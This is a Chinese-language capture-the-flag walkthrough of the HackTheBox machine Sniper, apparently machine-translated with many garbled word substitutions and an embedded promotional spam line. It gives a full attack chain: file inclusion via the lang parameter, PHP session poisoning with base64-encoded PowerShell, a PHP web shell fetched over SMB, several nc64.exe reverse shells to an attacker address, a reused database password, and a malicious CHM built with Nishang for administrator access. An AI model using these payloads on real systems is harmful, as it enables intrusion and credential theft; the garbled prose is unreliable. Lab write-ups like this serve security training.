通关思维导图
侦查
端口探测
首先利用 nmap 进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.151 -oA nmap_Sniper
80端口
访问后创造是一家名为 Sniper Co. 的公司,紧张业务是快递
点击Our servers会跳转至/blog/index.php,点击User Portal会跳转至/user/login.php上岸界面
目录扫描利用 gobuster 进行目录扫描
gobuster dir -u http://10.10.10.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
blog
在博客中存在措辞下拉框,分别是
http://10.10.10.151/blog/?lang=blog-en.phphttp://10.10.10.151/blog/?lang=blog-es.phphttp://10.10.10.151/blog/?lang=blog-fr.php
三种措辞界面都在同一个目录中,可以判断它是通过 php 代码include $_GET['lang']对其进行包含,如果过滤不严谨的话则可能存在文件包含漏洞
user
在上岸界面下面有一个注册界面,考试测验注册账户
利用新注册的账户 admin/admin 上岸个中
上线[iusr]
【→所有资源关注我,私信回答“资料”获取←】1、网络安全学习路线2、电子书本(白帽子)3、安全大厂内部视频4、100份src文档5、常见安全口试题6、ctf大赛经典题目解析7、全套工具包8、应急相应条记
验证文件包含
本地文件包含
首先考试测验读取上次目录的index.php
显示无法读取,但是利用绝对路径\windows\win.ini则能够读取成功
远程文件包含
利用 smbserver 在本地开启 smb 做事,并在该目录下放置一个文本文件mac.txt,内容为mac is good,
python3 smbserver.py -smb2support mac ~/hackthebox/Machines/Sniper/
考试测验要求远程文件地址:\\10.10.14.7\mac\mac.txt
成功要求到mac.txt当中的内容,查看相应创造靶机已向本地发送要求
如果 smb 做事建立涌现问题也可以利用以下办法
vim /etc/samba/smb.conf
[mac] path = /root/hackthebox/Machines/Sniper/ browseable = yes read only = no create mask = 777 guest ok = yes force user = nobody force group = nogroup
开启做事
service smbd restartservice nmbd restart
本地文件包含上线
在 Windows 中默认会话地址是\windows\temp目录,上岸账户后我们可以获取到 PHPSESSID 为8b23pbv8tj4m02qisnape584d8
这样我们就能够推断 PHP 会话文件为\windows\temp\sess_8b23pbv8tj4m02qisnape584d8
接下来考试测验在注册界面中的用户名中写入 PHP 实行代码
<?php system("whoami")?>
虽然能够成功注册,但是无法成功上岸
可能在后端代码中存在一些注入,考试测验稠浊语句
a<?php echo `whoami` ?>b
成功上岸后要求会话文件创造命令实行成功
考试测验获取站点下的user目录文件来理解registration.php的过滤规则,网站默认路径为\\inetpub\\wwwroot
a<?php echo `dir \\inetpub\\wwwroot\\user` ?>b
在读取registration.php时碰着了问题,.字符导致内容无法回显,利用替代拿到该文件的源代码
a<?php echo `powershell cat \\inetpub\\wwwroot\\user\\registrationphp` ?>b
黑名单中包含了字符-$[(_.;&"\,因此在命令中不能包含这些分外字符,通过 base64 编码可以帮助我们绕过这些字符限定
echo 'cmd /c "\\10.10.14.7\mac\nc64.exe -e cmd 10.10.14.7 443"' | iconv -f ascii -t utf-16le | base64 -w0
/enc会在实行命令时将 base64 解码,可注册为以下代码
<?php echo `powershell /enc YwBtAGQAIAAvAGMAIAAiAFwAMQAwAC4AMQAwAC4AMQA0AC4ANwBcAG0AYQBjAAoAYwA2ADQALgBlAHgAZQAgAC0AZQAgAGMAbQBkACAAMQAwAC4AMQAwAC4AMQA0AC4ANwAgADQANAAzACIACgA=` ?>
在本地监听443端口
rlwrap nc -nvlp 443
上岸成功后要求会话数据
curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\windows\temp\sess_8b23pbv8tj4m02qisnape584d8'
但是并没有返回会话,乃至都没有要求 smb 做事,于是解码 base64 并与 0xdf 大神的编码进行比拟
创造我的命令并不完全,原来是\n被转义了,须要重新编码
YwBtAGQAIAAvAGMAIAAiAFwAXAAxADAALgAxADAALgAxADQALgA3AFwAbQBhAGMAXABuAGMANgA0AC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADcAIAA0ADQAMwAiAAoA
验证通过
再次在注册界面注册账户并要求会话数据
<?php echo `powershell /enc YwBtAGQAIAAvAGMAIAAiAFwAXAAxADAALgAxADAALgAxADQALgA3AFwAbQBhAGMAXABuAGMANgA0AC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADcAIAA0ADQAMwAiAAoA` ?>
成功拿到反弹shell
远程文件包含上线
除了通过本地文件包含,我们还可以利用远程文件包含,比如包含一个大略的PHP小马
<?php system($_REQUEST['cmd'])?>
可以要求一个包含 cmd 的参数进行验证
curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\\10.10.14.5\mac\cmd.php' --data-urlencode 'cmd=whoami' | sed -n '/<\/html>/,/<\/body>/p'
成功实行命令,因此我们可以通过该shell实行反弹shell命令
curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\\10.10.14.5\mac\cmd.php' --data-urlencode 'cmd=\\10.10.14.5\mac\nc64.exe -e cmd 10.10.14.5 4444'
在本地监听4444端口
rlwrap nc -nvlp 4444
成功反弹shell
权限提升[chris]信息网络
在当前站点目录下创造数据库的认证信息
type c:\inetpub\wwwroot\user\db.php
个中密码为36mEAhz/B8xQ~2VM,与此同时创造用户Chris和管理员
dir c:\Users\
获取凭据
有了账号密码就可以考试测验通过 powershell 来运行他们的身份,首先查看主机名
powershellPS > hostname
制作用户Chris的身份凭据
PS > $user = "Sniper\Chris"PS > $pass = "36mEAhz/B8xQ~2VM"PS > $secstr = New-Object -TypeName System.Security.SecureStringPS > $pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}PS > $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstrPS > Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost
可以看到运行权限为Chris身份,查看用户Chris创造Chris属于远程管理用户组
net user chris
在当前用户桌面上获取第一个flag
PS > Invoke-Command -ScriptBlock { dir c:\Users\chris\Desktop } -Credential $cred -Computer localhostPS > Invoke-Command -ScriptBlock { type c:\Users\chris\Desktop\user.txt } -Credential $cred -Computer localhost
成功拿到第一个flag
反弹shell
借助本地的 nc 可以完成反弹shell
PS > Invoke-Command -ScriptBlock { \\10.10.14.5\mac\nc64.exe -e cmd 10.10.14.5 5555 } -Credential $cred -Computer localhost
在本地监听5555端口
rlwrap nc -nvlp 5555
成功拿到反弹shell
权限提升[administrator]信息网络
在C:\Docs目录下存在几个文件
cd C:\Docsdir
查看note.txt,个中 CEO 哀求 Chris 删除文档
type note.txt
在当前用户的Downloads目录下存在instructions.chm
cd c:\Users\Chris\Downloads\dir c:\Users\Chris\Downloads\
.chm是 Windows 帮助文件,因此可能是 CEO 正在谈论的文档,将其复制到本地进行检讨
恶意chm
copy instructions.chm \\10.10.14.5\mac\instructions.chm
Nishang 中的 Out-CHM.ps1 可以帮助我们在.chm文件中加载 payload 运行,首先在 Windows 中导入该文件
Import-Module .\Out-CHM.ps1
调用Out-CHM通报HTML Help Workshop路径并加载 payloadc
Out-CHM -Payload "\windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.5 6666" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
在实行之前须要先安装HTML Help Workshop,否则会涌现报错
成功天生doc.chm
管理员上线
将doc.chm和nc64.exe复制到靶机当中
copy \\10.10.14.5\mac\doc.chm .copy \\10.10.14.5\mac\nc64.exe \windows\system32\spool\drivers\color\nc64.exe
同时开启监听
rlwrap nc -nvlp 6666
成功拿到管理员权限,在管理员桌面哈桑探求第二个flag
dir c:\Users\administrator\Desktoptype c:\Users\administrator\Desktop\root.txt
成功拿到第二个flag
总结:站点中存在两个主要的目录,分别为user和blog,blog目录在措辞切换中利用?lang=xx.php,这很大程度上解释可能存在文件包含漏洞;user目录则用于用户注册和上岸账号,在之后的会话利用也帮助我们拿到了sessionid,从而确认了session地址。
文件包含漏洞验证成功后我们创造存在两种上线办法,一是本地文件包含利用,即通过包含session位置中注册用户名(PHP代码)来达到代码实行的效果;二是相对大略的远程文件包含利用,即只要在本地放置木马文件要求包含就可获取权限。
上线靶机后在个中找到数据库配置文件,里面存在密码,利用用户名和密码通过powershell制作凭据上线chris用户。末了利用nishang脚本Out-CHM天生恶意chm文件拿到管理员用户权限。